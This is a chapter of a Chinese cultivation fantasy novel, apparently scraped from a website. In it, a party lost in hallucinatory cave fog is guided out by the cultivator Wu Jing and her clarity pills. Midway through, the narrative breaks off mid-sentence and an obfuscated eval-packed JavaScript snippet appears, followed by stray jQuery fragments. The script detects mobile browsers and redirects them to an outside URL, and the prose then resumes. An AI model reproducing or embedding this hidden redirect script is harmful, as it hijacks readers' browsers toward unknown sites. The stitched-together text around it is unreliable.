一股莫名的熟悉感,混杂着警惕,悄然爬上心头——这感觉……与当初在断肠峪遭遇天然迷障时,何其相似!
明明感觉是在向前,但眼角余光瞥见的某块形状奇特的钟乳石,似乎在数十息前刚刚路过。前面贺老大的背影时而清晰,时而模糊。最诡异的是声音,瀑布的轰鸣明明已被岩壁隔绝减弱,此刻耳中却时而响起尖锐的水滴声,时而又仿佛听到极远处传来模糊的、类似呜咽的风声——可这里根本没有风!
“大哥,这雾……好像比上次更邪门了。”老三的声音从前面传来,带着一丝不易察觉的紧绷。他肩上的赤瞳猴不安地“吱吱”叫了两声,赤红的眼珠警惕地转动。
“闭嘴!跟紧!”贺老大低喝,但他托着定星盘的手,指节有些发白。
岩壁上湿滑的苔藓,吸饱了阴秽的水汽,化作一片妖异的墨绿,泛着不详的暗光。脚下积水寒意愈发刺骨,即使隔着鞋履和护体灵光,也让人脚踝发木。原本只是缓缓流动的灰蓝色雾气,肉以可见的有了粘稠的质感,缠绕在人的四肢躯干上,带来一种细微却持续的拖拽感。最明显的是那些钟乳石和石笋,在雾气中呈现出扭曲拉长的怪诞阴影,随着雾气的流动而微微晃动,仿佛随时会活过来。
定星盘的荧光在灰蓝雾气中明灭不定,指针摇摆的幅度越来越大。
“柳姨,我……我好像听到有人在叫我……”年纪最小的林风忽然小声开口,瑟瑟发抖。
“别胡说!凝神静气!”柳青秀眉紧皱,低声斥喝。
赵铁和阿秀紧紧靠在一起,警惕地环顾四周。
吴璟心口一紧。她不仅感到方向迷失,更有一股阴冷的、带着湿意的气息,仿佛细小的虫子,试图顺着皮肤往骨头缝里钻。
芸姑姑送的诸多玉简里曾有提及——地脉紊乱之地的瘴气惑心。这雾气,不仅仅是水汽,更掺杂了此地特殊地脉散发出的、能干扰神魂的阴秽灵气!
“停!”贺老大忽然停下脚步,脸色难看地看着手中几乎要疯转起来的定星盘,“这鬼雾……定星盘快失效了!我们……可能在绕圈子。”
队伍立刻停了下来,不安的情绪在无声的蔓延。毒娘子眼神锐利地扫视四周,手中的峨眉刺泛起寒光。光头男子骂了一句脏话,瘦高个则警惕地看向浓雾深处,背弓的中年汉子默默将箭搭在了弦上。
青柳小队四人各自守住一个方位,将吴璟隐隐护在中间。
“吴道友,”贺老大转头看向吴璟,语气带着压抑的焦躁和一丝不易察觉的期待:“你之前说,涉及路径选择、危险判断,你有建言权。现在,你怎么看?这雾,怎么破?”
所有人的目光,瞬间集中到了吴璟身上。有审视,有不耐,有怀疑,也有一丝丝的希冀。
吴璟没有立刻回答。她缓缓闭上眼睛,深吸了一口潮湿阴冷的空气,努力忽略耳边开始响起的、越来越清晰的杂乱低语。她将双手轻轻贴在了旁边湿滑冰冷的岩壁上。
冰凉的触感传来,带着岩石特有的沉稳,她运转心法,将一缕精纯的土灵力,小心翼翼地从掌心渡出,并非攻击或探查,而是像最轻柔的触须,尝试着去“触摸”岩石深处传来的、极其微弱的振动。
全部心神都沉浸在通过手掌传来的、细微到几乎不存在的感觉上。
水流的涌动……岩石自身因遥远瀑布冲击传来的微弱震波……还有,地脉深处混乱的、如同沸水般的灵气乱流……
不对,不是这些。
她在寻找一种“差异”,一种“规律外的规律”。
时间一点点过去,众人只能看到她双手贴壁,仿佛石化。雾气在她身边缓缓流动,灰蓝色更显诡谲。
老三忍不住嗤笑一声,刚要开口讽刺。
就在此时,吴璟猛地睁开了眼睛。目光清亮如寒星,穿透迷雾,直直看向溶洞左侧某个方向——那里雾气盘旋,似乎更浓,看起来像是绝路。
“那里。”她的声音不高,却异常清晰笃定:“真正的通道,不在定星盘指的方向,也不在我们感觉的前方。在左边,雾气旋转最急,但旋转中心反而静的地方。”
“什么?”贺老大一愣,看向吴璟指的方向,眉头拧成疙瘩,“那里看起来是岩壁!”
“不是岩壁。”吴璟收回手,指尖还残留着岩石的湿凉,“是视觉和感知被雾气扭曲了。我感觉到,那里的岩石后面,有更稳定的水流声,而且……雾气旋转的力,在那里有一个细微的缺口,像是被什么东西持续地、微弱地吸走了一部分。真正的生路,往往藏在最像死路的地方。”
她无法解释得更清楚,这是一种基于深厚知识储备和敏锐感知的、近乎本能的判断。
贺老大死死盯着吴璟,又看看手中乱转的定星盘,再看看那片看起来毫无异常的“岩壁”和旋转的雾气。
毒娘子等人同样面露犹疑。
“信她一次。”柳青忽然开口,声音坚定,“恩人的判断,从没错过。”
赵铁重重点头:“恩人说那边,我就去那边开路!”
贺老大脸色变幻,最终一咬牙:“好!老三,用你的破障钉试试那边!”
精瘦男子老三闻言,有些不情愿地哼了一声,但还是从怀中掏出一枚乌黑的、非金非木的长钉,灌注灵力,猛地朝吴璟所指的那片“岩壁”掷去!
乌黑长钉化作一道流光,没入灰蓝雾气之中。
预想中的碰撞声没有响起。
长钉仿佛投入水中,雾气剧烈荡漾了一下,那片“岩壁”的景象如同水波般晃动、破碎、消散……露出了一个倾斜向下、黑黝黝的洞口!洞口处,雾气明显稀薄,隐约能听到比此处更加清晰、连贯的地下河流淌声!
“真的……是路!”阿秀忍不住低呼。
贺老大等人目瞪口呆,看向吴璟的眼神彻底变了。如果说之前是忌惮她的丹药和心机,现在,则多了几分难以言喻的惊异和……一抹打心底生出的信服。
这女修,果然有点真本事!
“走!”贺老大率先反应过来,压下心中震动,带头冲向新出现的洞口。
队伍再次动了起来,这一次,所有人的脚步都轻快了不少,目光掠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188185|190509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过侧后方那道青衣身影时,眼底的轻视与怀疑,已被慎重与隐约的依赖所取代。
吴璟轻轻吐出一口浊气,跟上队伍。
新出现的洞口倾斜向下,内部比之前的溶洞更加狭窄,岩壁湿滑,脚下是深浅不一的积水,最深处能没过小腿。水流声在这里变得清晰而连贯,哗啦啦地响着,却诡异地无法驱散灰蓝色的浓雾。雾气像是从岩壁缝隙和水中不断渗出,愈发浓重。
定星盘在进入这狭窄通道后彻底失灵,荧光熄灭,指针僵直。贺老大黑着脸将它收起,现在只能凭借过往经验和吴璟玄乎的感觉前进。
通道并非笔直,曲折迂回,岔路偶现。每次面临选择,贺老大都会下意识地看向吴璟。
吴璟或闭目感知,或观察雾气流动的细微差别,指出方向。她的判断并非每次都立刻显效,有时需要走上一段才能确认正确,但至少,他们没有再陷入原地打转的绝望。
越往深处,灰蓝色雾气越能侵蚀人的心神。
“阿铁……是你吗?你回头看看我……”
赵铁猛地顿住脚步,脸色煞白,霍然转头看向身后空无一物的黑暗,宽厚的肩膀微微颤抖。
莹儿,是莹儿的声音……
为救他而陨落的道侣。
“好多灵石……闪闪发光……就在前面岩缝里……”林风眼神发直,喃喃自语,脚下不自觉地朝着一侧湿滑的岩壁走去。
可目光所及之处,只有嶙峋的怪石。
阿秀则紧紧捂住耳朵,脸上露出痛苦之色,仿佛听到了无数凄厉的哭喊和诅咒。
连修为最高的贺老大和毒娘子,此刻也是额头见汗,眼神时而锐利时而涣散,显然是在与内心被勾起的某些画面或声音对抗。
柳青紧咬牙关,手中紧扣着一枚玉佩,勉力维持清醒,担忧地看向吴璟:“恩人,这雾……”
吴璟同样听到了惑人心神的杂音,但这等浅显的迷魂幻象,于她扎实的神魂与坚毅心志而言,如同儿戏。
听到柳青的声音,她目光迅速环视一圈,心中一沉——不少队友眼神涣散,举止异常,正逐渐渐被迷了心智。
没有犹豫,吴璟指尖光华微闪,一个洁白的小玉瓶出现在她手中。她倒出一粒丹药递给柳青:“清心丹。”
柳青正苦苦支撑,见状精神一振,连忙接过,张嘴吞服:“多谢恩人!”
接着她立刻转身,与吴璟默契配合,将丹药塞入眼神迷离的赵铁、阿秀和林风口中,低声喝道:“紧守本心!是幻象!服丹!”
清心丹入口即化,一股清凉之意直冲灵台。赵铁猛地一个激灵,眼中悲色迅速褪去,取而代之的是后怕与警惕。阿秀松开捂着耳朵的手,长长舒了口气。林风更是晃了晃脑袋,看着近在咫尺的冰冷岩壁,吓得连退两步。
这边的动静引起了前方贺老大和毒娘子的注意。
看到青柳小队众人服丹后状态明显好转,贺老大眼中精光一闪,当机立断,转头看向吴璟,声音带着压抑的沙哑:“吴道友!丹药可还有多余?贺某愿以灵石或他物相换!”